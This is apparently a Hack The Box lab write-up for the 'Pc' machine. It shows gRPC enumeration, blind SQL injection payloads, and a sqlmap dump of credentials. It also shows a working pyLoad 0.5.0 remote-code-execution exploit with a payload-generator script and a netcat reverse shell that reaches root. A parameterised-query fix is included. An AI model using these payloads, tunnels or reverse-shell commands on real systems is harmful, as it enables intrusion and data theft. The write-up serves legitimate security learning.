Pc#
Enum#
nmap -Pn -sC -sV 10.10.11.214 -oN scans/nmap.initial
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-21 08:49 IST
Nmap scan report for 10.10.11.214
Host is up (0.034s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 91bf44edea1e3224301f532cea71e5ef (RSA)
| 256 8486a6e204abdff71d456ccf395809de (ECDSA)
|_ 256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.76 seconds
sudo nmap -Pn -sU --min-rate 10000 10.10.11.214 -oN scans/nmap.udp
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-21 08:51 IST
Nmap scan report for 10.10.11.214
Host is up.
All 1000 scanned ports on 10.10.11.214 are in ignored states.
Not shown: 1000 open|filtered udp ports (no-response)
Nmap done: 1 IP address (1 host up) scanned in 2.19 seconds
sudo nmap -Pn -p- 10.10.11.214 -oN scans/nmap.udp
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-21 08:51 IST
Nmap scan report for 10.10.11.214
Host is up.
All 1000 scanned ports on 10.10.11.214 are in ignored states.
Not shown: 1000 open|filtered udp ports (no-response)
Nmap done: 1 IP address (1 host up) scanned in 2.19 seconds
[blnkn@Kolossus](main %=):~/sec/htb/machines/pc%
[blnkn@Kolossus](main %=):~/sec/htb/machines/pc% 130 ⨯
[blnkn@Kolossus](main %=):~/sec/htb/machines/pc% nmap -p- -Pn -sC -sV 10.10.11.214 -oN scans/nmap.initial
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-21 08:52 IST
Nmap scan report for 10.10.11.214
Host is up (0.029s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 91bf44edea1e3224301f532cea71e5ef (RSA)
| 256 8486a6e204abdff71d456ccf395809de (ECDSA)
|_ 256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
50051/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port50051-TCP:V=7.93%I=7%D=5/21%Time=6469CE47%P=aarch64-unknown-linux-g
SF:nu%r(NULL,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xf
SF:f\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(G
SF:enericLines,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\
SF:xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r
SF:(GetRequest,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\
SF:xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r
SF:(HTTPOptions,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff
SF:\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%
SF:r(RTSPRequest,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xf
SF:f\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")
SF:%r(RPCCheck,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\
SF:xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r
SF:(DNSVersionBindReqTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x0
SF:5\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0
SF:\?\0\0")%r(DNSStatusRequestTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff
SF:\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\
SF:0\0\0\0\0\?\0\0")%r(Help,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0
SF:\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\
SF:0\0\?\0\0")%r(SSLSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xf
SF:f\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0
SF:\0\0\0\?\0\0")%r(TerminalServerCookie,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\
SF:0\?\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04
SF:\x08\0\0\0\0\0\0\?\0\0")%r(TLSSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x
SF:04\0\?\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\
SF:x04\x08\0\0\0\0\0\0\?\0\0")%r(Kerberos,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04
SF:\0\?\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x0
SF:4\x08\0\0\0\0\0\0\?\0\0")%r(SMBProgNeg,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04
SF:\0\?\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x0
SF:4\x08\0\0\0\0\0\0\?\0\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 135.25 seconds
curl http://10.10.11.214:50051
curl: (1) Received HTTP/0.9 when not allowed
nc 10.10.11.214 50051
???
If waiting long enough while saying nothing on the socket we get this error:
nc 10.10.11.214 50051
???@Did not receive HTTP/2 settings before handshake timeout
A little bit of Google dorking brings us here
https://zweilosec.github.io/posts/laser/
https://grpc.io/docs/what-is-grpc/introduction/
https://grpc.io/docs/languages/python/basics/#client
https://grpc.io/docs/languages/python/quickstart/
Following the quickstart guide for python
python3 -m venv venv
source venv/bin/activate
pip install --upgrade pip
python -m pip install grpcio
python -m pip install grpcio-tools
python3 -m protoc --version
git clone -b v1.55.0 --depth 1 --shallow-submodules https://github.com/grpc/grpc ~/grpc
cd ~/grpc/examples/python/helloworld
python greeter_server.py
Server started, listening on 50051
python greeter_client.py
Will try to greet world ...
Greeter client received: Hello, you!
Found grpcurl, looks like we can use this to enumerate the gRPC services present on this endpoint
docker pull fullstorydev/grpcurl:latest
docker run fullstorydev/grpcurl --plaintext 10.10.11.214:50051 list
SimpleApp
grpc.reflection.v1alpha.ServerReflection
List methods
on the SimpleApp
service
docker run fullstorydev/grpcurl --plaintext 10.10.11.214:50051 list SimpleApp
SimpleApp.LoginUser
SimpleApp.RegisterUser
SimpleApp.getInfo
Describe services
on SimpleApp
docker run fullstorydev/grpcurl --plaintext 10.10.11.214:50051 describe SimpleApp
SimpleApp is a service:
service SimpleApp {
rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
rpc RegisterUser ( .RegisterUserRequest ) returns ( .RegisterUserResponse );
rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );
}
I should be able to describe the message types, but it’s not working for me, not sure what I’m doing wrong
docker run fullstorydev/grpcurl -format text -d 'name: "gRPCurl"' --plaintext 10.10.11.214:50051 describe SimpleApp.RegisterUserRequest
Warning: The -d argument is not used with 'list' or 'describe' verb.
Failed to resolve symbol "SimpleApp.RegisterUserRequest": Symbol not found: SimpleApp.RegisterUserRequest
But it doesn’t matter, it’s easy to guess, the errors are pretty telling
docker run fullstorydev/grpcurl -format text -d 'username: "blnkn", password: "blnkn"' --plaintext 10.10.11.214:50051 SimpleApp.RegisterUser
message: "Account created for user blnkn!"
docker run fullstorydev/grpcurl -format text -d 'username: "blnkn", password: "blnkn"' --plaintext 10.10.11.214:50051 SimpleApp.LoginUser
message: "Your id is 848."
Ah! I managed to make the message description work
docker run fullstorydev/grpcurl --plaintext 10.10.11.214:50051 describe .getInfoRequest
getInfoRequest is a message:
message getInfoRequest {
string id = 1;
}
But If I try to use the getInfo method with the id I got from the login I get that response
docker run fullstorydev/grpcurl -format text -d 'id: "314"' --plaintext 10.10.11.214:50051 SimpleApp.getInfo
message: "Authorization Error.Missing 'token' header"
Using the verbose output on login, we get back a token
docker run fullstorydev/grpcurl -v -format text -d 'username: "blnkn", password: "blnkn"' --plaintext 10.10.11.214:50051 SimpleApp.LoginUser
Resolved method descriptor:
rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
Request metadata to send:
(empty)
Response headers received:
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip
Response contents:
message: "Your id is 588."
Response trailers received:
token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYmxua24iLCJleHAiOjE2ODQ2NzE3MTZ9.Dief11zbyraZtatsTOjZPY5gTGVLuHtWk9dMcrYU-BI'
Sent 1 request and received 1 response
Not sure how to pass the token properly
docker run fullstorydev/grpcurl -vv -H "token: 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYmxua24iLCJleHAiOjE2ODQ2NzM0MzR9.xmXfeEpCdoXGOsRd5LgxadumMUkiTHIWBk8Iar_-miE'" --format text -d 'id: "686"' --plaintext 10.10.11.214:50051 SimpleApp.getInfo
Resolved method descriptor:
rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );
Request metadata to send:
token: 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYmxua24iLCJleHAiOjE2ODQ2NzM0MzR9.xmXfeEpCdoXGOsRd5LgxadumMUkiTHIWBk8Iar_-miE'
Response headers received:
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip
Estimated response size: 44 bytes
Response contents:
message: "Authorization Error.Missing 'token' header"
Response trailers received:
(empty)
Sent 1 request and received 1 response
Mmmmh also, maybe grpcurl is not the offical solution, there’s also grpc-cli.
Let’s try to compile that
sudo apt-get update
sudo apt-get upgrade -y
sudo apt-get install build-essential autoconf libtool pkg-config cmake -y
git clone https://github.com/grpc/grpc.git
cd grpc
git submodule update --init
sudo apt-get install -y libsystemd-dev
mkdir -p cmake/build
cd cmake/build
cmake -DgRPC_BUILD_TESTS=ON ../..
make grpc_cli
cp grpc_cli ~/.local/bin
which grpc_cli
/home/blnkn/.local/bin/grpc_cli
Getting familiar with grpc_cli
grpc_cli
No command specified
grpc_cli ls ... ; List services
grpc_cli call ... ; Call method
grpc_cli type ... ; Print type
grpc_cli parse ... ; Parse message
grpc_cli totext ... ; Convert binary message to text
grpc_cli tojson ... ; Convert binary message to json
grpc_cli tobinary ... ; Convert text message to binary
grpc_cli help ... ; Print this message, or per-command usage
grpc_cli ls 10.10.11.214:50051
SimpleApp
grpc.reflection.v1alpha.ServerReflection
grpc_cli ls 10.10.11.214:50051 SimpleApp
LoginUser
RegisterUser
getInfo
grpc_cli ls -l 10.10.11.214:50051 SimpleApp
filename: app.proto
service SimpleApp {
rpc LoginUser(LoginUserRequest) returns (LoginUserResponse) {}
rpc RegisterUser(RegisterUserRequest) returns (RegisterUserResponse) {}
rpc getInfo(getInfoRequest) returns (getInfoResponse) {}
}
grpc_cli type 10.10.11.214:50051 getInfoRequest
message getInfoRequest {
string id = 1;
}
grpc_cli type 10.10.11.214:50051 LoginUserRequest
message LoginUserRequest {
string username = 1;
string password = 2;
}
grpc_cli type 10.10.11.214:50051 RegisterUserRequest
message RegisterUserRequest {
string username = 1;
string password = 2;
}
grpc_cli call 10.10.11.214:50051 SimpleApp.RegisterUser 'username: "blnkn", password: "blnkn"'
connecting to 10.10.11.214:50051
message: "User Already Exists!!"
Rpc succeeded with OK status
grpc_cli call 10.10.11.214:50051 SimpleApp.LoginUser 'username: "blnkn", password: "blnkn"'
connecting to 10.10.11.214:50051
message: "Your id is 317."
Received trailing metadata from server:
token : b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYmxua24iLCJleHAiOjE2ODQ2NzQ5NTV9.FOxpXVX1IpCCFq55UN0wdJvBbzsmgxafhS69bTeixto'
Rpc succeeded with OK status
Manual blind Boolean based injection#
We have 2 tables
{ "id":"653 or (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' )=2" }
First table name is of length 8
{ "id":"653 or (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=8" }
For reference
ascii -x
00 NUL 10 DLE 20 30 0 40 @ 50 P 60 ` 70 p
01 SOH 11 DC1 21 ! 31 1 41 A 51 Q 61 a 71 q
02 STX 12 DC2 22 " 32 2 42 B 52 R 62 b 72 r
03 ETX 13 DC3 23 # 33 3 43 C 53 S 63 c 73 s
04 EOT 14 DC4 24 $ 34 4 44 D 54 T 64 d 74 t
05 ENQ 15 NAK 25 % 35 5 45 E 55 U 65 e 75 u
06 ACK 16 SYN 26 & 36 6 46 F 56 V 66 f 76 v
07 BEL 17 ETB 27 ' 37 7 47 G 57 W 67 g 77 w
08 BS 18 CAN 28 ( 38 8 48 H 58 X 68 h 78 x
09 HT 19 EM 29 ) 39 9 49 I 59 Y 69 i 79 y
0A LF 1A SUB 2A * 3A : 4A J 5A Z 6A j 7A z
0B VT 1B ESC 2B + 3B ; 4B K 5B [ 6B k 7B {
0C FF 1C FS 2C , 3C < 4C L 5C \ 6C l 7C |
0D CR 1D GS 2D - 3D = 4D M 5D ] 6D m 7D }
0E SO 1E RS 2E . 3E > 4E N 5E ^ 6E n 7E ~
0F SI 1F US 2F / 3F ? 4F O 5F _ 6F o 7F DEL
First table name is accounts
{ "id":"653 or (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('a')" }
{ "id":"653 or (SELECT hex(substr(tbl_name,2,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('c')" }
{ "id":"653 or (SELECT hex(substr(tbl_name,3,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('c')" }
{ "id":"653 or (SELECT hex(substr(tbl_name,4,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('o')" }
{ "id":"653 or (SELECT hex(substr(tbl_name,5,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('u')" }
{ "id":"653 or (SELECT hex(substr(tbl_name,6,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('n')" }
{ "id":"653 or (SELECT hex(substr(tbl_name,7,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('t')" }
{ "id":"653 or (SELECT hex(substr(tbl_name,8,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('s')" }
Second table probably is messages
{ "id":"653 or (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 2 offset 1) = hex('m')" }
{ "id":"653 or (SELECT hex(substr(tbl_name,2,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 2 offset 1) = hex('e')" }
{ "id":"653 or (SELECT hex(substr(tbl_name,3,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 2 offset 1) = hex('s')" }
Now that we know the table names, we want to get the collumns and their values.
I’ve been working based manually based of the techniques described here so far: https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf
But I stalled on this, couldn’t really make it work, so a took a break.
(select hex(substr(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')+1)),instr((substr(sql,instr(sql,'(')+1)),'`')),\\\"TEXT\\\",''),\\\"INTEGER\\\",''),\\\"AUTOINCREMENT\\\",''),\\\"PRIMARY KEY\\\",''),\\\"UNIQUE\\\",''),\\\"NUMERIC\\\",''),\\\"REAL\\\",''),\\\"BLOB\\\",''),\\\"NOT NULL\\\",''),\\\",\\\",'~~'),\\\"`\\\",\\\"\\\"),1,1)) FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' and name='accounts') < hex('a')
After my break I asked for a hint, and was pointed to this: https://github.com/fullstorydev/grpcui
Well that makes everything 100 times easyer, and that’s by the same devs that made the grpcurl… So right in front of my now the whole time ffs
As far as I understand this actually sends REST requests in HTTP 1.1 to the server, and those are translated, by the server to gRPC https://github.com/grpc-ecosystem/grpc-gateway
I actually knew this as I’ve seen this at work, also though about it in the context of this box and tried to make things work in REST really breafly, but assumed it wasn’t setup on the server.
Anyways, this things sets up a local webserver gui that takes your gRPC input and sends stuff over HTTP 1.1 REST to the server, so we can just capture a getInfo request, feed it to sqlmap and avoid the headache of doing this manually
The HTTP 1.1 request from burp
POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:41297
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-grpcui-csrf-token: loji4zaSqKuSR7cLn3_CDboa8tU7ADLmX1Ch9GwOOqo
X-Requested-With: XMLHttpRequest
Content-Length: 200
Origin: http://127.0.0.1:41297
Connection: close
Referer: http://127.0.0.1:41297/
Cookie: _grpcui_csrf_token=loji4zaSqKuSR7cLn3_CDboa8tU7ADLmX1Ch9GwOOqo
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{
"metadata": [
{
"name": "token",
"value": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYmxua24iLCJleHAiOjE2ODQ3MTA4MDN9.MSlBzmJYp13-PV_H3P20WyO5ponKssSVQON1razjAJk"
}
],
"data": [
{
"id": "112 or 1=1"
}
]
}
Pointing sqlmap to the things we already established, to speed up the process
sqlmap -r getinfo.req --dbms sqlite --technique=B --level 5 --risk 3 -t5 -T accounts --batch
SNIP
sqlmap identified the following injection point(s) with a total of 1256 HTTP(s) requests:
---
Parameter: JSON id ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYmxua24iLCJleHAiOjE2ODQ3MTA4MDN9.MSlBzmJYp13-PV_H3P20WyO5ponKssSVQON1razjAJk"}],"data":[{"id":"-5513 OR 6714=6714"}]}
---
sqlmap -r getinfo.req --dbms sqlite --technique=B --level 5 --risk 3 -t5 -T accounts --batch --dump
Database: <current>
Table: accounts
[3 entries]
+------------------------+----------+
| password | username |
+------------------------+----------+
| admin | admin |
| HereIsYourPassWord1431 | sau |
| schnitzel | wiener |
+------------------------+----------+
sqlmap -r getinfo.req --dbms sqlite --technique=B --level 5 --risk 3 -t 15 -T messages --batch --dump
Database: <current>
Table: messages
[2 entries]
+-----+----------------------------------------------+----------+
| id | message | username |
+-----+----------------------------------------------+----------+
| 1 | The admin is working hard to fix the issues. | admin |
| 105 | Will update soon. | wiener |
+-----+----------------------------------------------+----------+
Looking at sqlmap verbose output this is how it did it:
{"id":"-6907 OR SUBSTR((SELECT COALESCE(CAST(sql AS TEXT),CHAR(32)) FROM sqlite_master WHERE type=CHAR(116,97,98,108,101) AND tbl_name=CHAR(97,99,99,111,117,110,116,115) LIMIT 1),33,1)>CHAR(96)"}
ssh sau@10.10.11.214
sau@10.10.11.214's password:
Last login: Sun May 21 20:43:02 2023 from 10.10.16.76
sau@pc:~$
sau@pc:~$
sau@pc:~$
sau@pc:~$ pwd
/home/sau
sau@pc:~$ id
uid=1001(sau) gid=1001(sau) groups=1001(sau)
sau@pc:~$ wc -c user.txt
33 user.txt
Looking at /opt/app/app.py
this is what got us in
async def getInfo(self, request, context):
headers = dict(context.invocation_metadata())
token = headers.get('token')
user_id = middle.authorization(token)
if user_id is True:
try:
result = cur.execute(f'SELECT message from messages where id = {request.id}').fetchone()[0]
return app_pb2.getInfoResponse(message=f"{result}")
except sqlite3.Error as er:
return app_pb2.getInfoResponse(message=er)
return app_pb2.getInfoResponse(message="Authorization Error.Missing 'token' header")
And this is how we could fix it
async def getInfo(self, request, context):
headers = dict(context.invocation_metadata())
token = headers.get('token')
user_id = middle.authorization(token)
if user_id is True:
try:
result = cur.execute('SELECT message from messages where id = ?', (request.id, )).fetchone()[0]
return app_pb2.getInfoResponse(message=f"{result}")
except sqlite3.Error as er:
return app_pb2.getInfoResponse(message=er)
return app_pb2.getInfoResponse(message="Authorization Error.Missing 'token' header")
Privesc#
sau@pc:~$ sudo -l
[sudo] password for sau:
Sorry, try again.
[sudo] password for sau:
Sorry, user sau may not run sudo on localhost.
sau@pc:~$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
sau:x:1001:1001::/home/sau:/bin/bash
sau@pc:~$ netstat -tulpen
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 101 31968 -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 0 32645 -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN 0 33661 -
tcp 0 0 0.0.0.0:9666 0.0.0.0:* LISTEN 0 34098 -
tcp6 0 0 :::22 :::* LISTEN 0 32647 -
tcp6 0 0 :::50051 :::* LISTEN 0 33952 -
udp 0 0 127.0.0.53:53 0.0.0.0:* 101 31967 -
udp 0 0 0.0.0.0:68 0.0.0.0:* 0 27627 -
sau@pc:~$ curl -i http://127.0.0.1:8000
HTTP/1.1 302 FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 275
Location: /login?next=http%3A%2F%2F127.0.0.1%3A8000%2F
Vary: Accept-Encoding
Date: Sun, 21 May 2023 21:16:49 GMT
Server: Cheroot/8.6.0
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F">/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F</a>. If not, click the link.
Setting up a socks5 chisel server
local# ./chisel-arm server -p 4242 --socks5 --reverse
remote# ./chisel-amd client 10.10.14.207:4242 R:1080:socks
Connecting to the app through the proxy
Things I see flying through in pspy64
2023/05/21 21:29:20 CMD: UID=0 PID=1038 | /usr/bin/python3 /usr/local/bin/pyload
2023/05/21 21:29:20 CMD: UID=0 PID=1032 | /usr/bin/python3 /opt/app/app.py
2023/05/21 21:29:20 CMD: UID=0 PID=103 |
2023/05/21 21:30:01 CMD: UID=0 PID=175023 | /usr/sbin/CRON -f
2023/05/21 21:30:01 CMD: UID=0 PID=175024 |
2023/05/21 21:30:01 CMD: UID=0 PID=175025 | /usr/bin/cp /root/sqlite.db.bak /opt/app/sqlite.db
sau@pc:/usr/local/bin$ pyload -h
usage: pyload [-h] [-d] [-r] [--storagedir STORAGEDIR] [--userdir USERDIR] [--tempdir TEMPDIR]
[--pidfile PIDFILE] [--dry-run] [--daemon] [--quit] [--status] [--version]
____________
___/ | \_____________ _ _______________ _ ___
/ | ___/ | _ __ _ _| | ___ __ _ __| | \
/ \___/ ______/ | '_ \ || | |__/ _ \/ _` / _` | \
\ | ◯| | .__/\_, |____\___/\__,_\__,_| /
\_______\ /_______|_|___|__/________________________/
\ /
\/
The free and open-source Download Manager written in pure Python
optional arguments:
-h, --help show this help message and exit
-d, --debug enable debug mode
-r, --reset reset default username/password
--storagedir STORAGEDIR
use this location to save downloads
--userdir USERDIR use this location to store user data files
--tempdir TEMPDIR use this location to store temporary files
--pidfile PIDFILE set the full path to the pidfile
--dry-run test start-up and exit
--daemon run as daemon
--quit quit running pyLoad instance
--status display pid if running or 0
--version show program's version number and exit
sau@pc:/usr/local/bin$ pyload --version
pyLoad 0.5.0
https://github.com/pyload/pyload/commit/7d73ba7919e594d783b3411d7ddb87885aea782d
https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/
proxychains -q curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 184' \
--data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%70%77%6e%64%22%29;f=function%20f2(){};&passwords=aaaa' \
$'http://127.0.0.1:8000/flash/addcrypted2'
HTTP/1.1 500 INTERNAL SERVER ERROR
Content-Type: text/html; charset=utf-8
Content-Length: 21
Access-Control-Max-Age: 1800
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: OPTIONS, GET, POST
Vary: Accept-Encoding
Date: Sun, 21 May 2023 22:07:18 GMT
Server: Cheroot/8.6.0
Could not decrypt key
A straight copy paste of the PoC just works
sau@pc:/tmp$ date; ls -la /tmp/pwnd
Sun May 21 22:10:04 UTC 2023
-rw-r--r-- 1 root root 0 May 21 22:10 /tmp/pwnd
The original payload
%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%70%77%6e%64%22%29
==
pyimport os;os.system("touch /tmp/pwnd")
Making a payload generator
import sys
import requests
payload = f'pyimport os;os.system("{sys.argv[1]}")'
#print(payload)
enc_payload = []
for char in payload:
enc_payload.append(hex(ord(char)))
enc_payload="".join(enc_payload).replace("0x","%")
#print(enc_payload)
enc_payload='package=xxx&crypted=AAAA&jk='+enc_payload+';f=function%20f2(){};&passwords=aaaa'
res = requests.post(
url='http://127.0.0.1:8000/flash/addcrypted2',
headers={"Host": "127.0.0.1:8000", "Content-Type": "application/x-www-form-urlencoded"},
data=enc_payload,
proxies={"http": "socks5://127.0.0.1:1080"}
)
print(res.status_code)
python3 payloader.py 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.3 4000 >/tmp/f'
rlwrap nc -lvnp 4000
listening on [any] 4000 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.214] 46632
sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
#